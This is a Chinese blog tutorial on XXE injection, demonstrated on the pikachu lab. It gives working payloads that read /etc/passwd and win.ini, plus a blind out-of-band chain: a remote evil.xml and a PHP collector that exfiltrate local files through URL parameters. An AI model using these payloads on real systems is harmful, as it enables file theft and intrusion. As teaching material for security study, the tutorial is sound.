XXE

XXE原理介绍

XXE Injection即XML External Entity Injection。也就是外部实体注入攻击。漏洞是由在处理不安全的外部实体数据时造成的。

在了解xxe漏洞之前我们需要对xml有所了解。

xml

xml与html的区别为:xml是传输和储存数据的。html的作用是显示数据的。

xml的结构是树结构,从根出发再到叶

<?xml version="1.0" encoding="UTF-8"?>			//表达版本和编码方式
<note>											//根元素
<to>Tove</to>									//4个子元素
<from>Jani</from>			
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

xml的自我表达力很强。从标签和定义的元素上就可以看出想要表达什么。

xml语法表达
1.得有xml声明
2.xml文档一定得有根元素
3.必须有闭合标签
4.大小写敏感
5.属性值必须加引号
6.实体引用
在这里插入图片描述
xml元素与属性
元素:XML 元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。 <123>Harry Potter</123>
属性:属性(Attribute)提供有关元素的额外信息。
<123 name=‘George “Shotgun” Ziegler’>
可参考文章:
xml属性
xml元素

DTD声明

<?xml version="1.0"?>
<!DOCTYPE note [					//声明了根元素
<!ELEMENT note (to,from,heading,body)>			//声明子元素
<!ELEMENT to (#PCDATA)>				//下面个子元素都是可以编辑型
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>								//进行匹配文档的书写
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

引用一张图片:XML外部实体注入小结

xxe危害

1.本地敏感文件读取
2.主机探测,端口扫描
3.文件上传
4.命令执行

任意文件读取

在linux中查看passwd

<?xml version="1.0"?>
<!DOCTYPE  a  [<!ENTITY b SYSTEM "file:///etc/passwd">]>
<c>&b;</c>

在windows中查看win.ini

<?xml version="1.0"?>
<!DOCTYPE  a  [<!ENTITY b SYSTEM "file:///C:/Windows/win.ini">]>
<c>&b;</c>

文件读取分为有回显和无回显
1.有回显

<?xml version="1.0"?> 
 <!DOCTYPE a [ <!ENTITY xxe "123" > ]> 
  <a>&xxe;</a>

在这里插入图片描述
直接进行文件读取
在这里插入图片描述

当然这种特殊符号少的就不会进行报错,如果特殊符号多就不会回显。我们就可以使用CDATA,不进行解析。

2.无回显
我们先把靶场的显示函数注释掉。
在这里插入图片描述在这里插入图片描述
现在我们就是一个无回显的环境。

对于我们的blind xxe我们一般思路是使用外带数据通道进行信息读取。首先进行一个信息读取,使用flie://或者php://filte协议。然后将数据发送到我们的攻击机。如果不知道具体路径,就使用php://filte进行在当前目录下读取文件。

我们这里使用环回地址进行测试:127.0.0.1

思路大概就是这样,我们来构造playload

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">			
<!ENTITY % remote SYSTEM "http://127.0.0.1/evil.xml">		
%remote;
%all;
]>
<root>&send;</root>

evil.txt内容

<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/1.php?file=%file;'>">

1.php内容

<?php file_put_contents("2.txt", $_GET['file']); ?>

攻击流程
1.先调用%remote,请求evil.txt文件中的内容
2.再调用evil.txt中的%file,获取本地文件。
3.调用%all,进行send。运行file_put_contents函数,我们会在攻击服务器上创建一个2.txt内容。2.txt里的内容就是1.txt里的内容。

我们以pikachu靶场作为案例

这是我们C盘下的1.txt文件

在这里插入图片描述
输入playload
在这里插入图片描述生成2.txt文件
在这里插入图片描述成功获取内容
在这里插入图片描述

在靶场执行我们的xml内容后,攻击服务器上就会生成2.txt文件

参考文章

1.菜鸟教程
2.XML外部实体注入小结
3.一篇文章带你深入理解漏洞之 XXE 漏洞
4.从XML相关一步一步到XXE漏洞

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值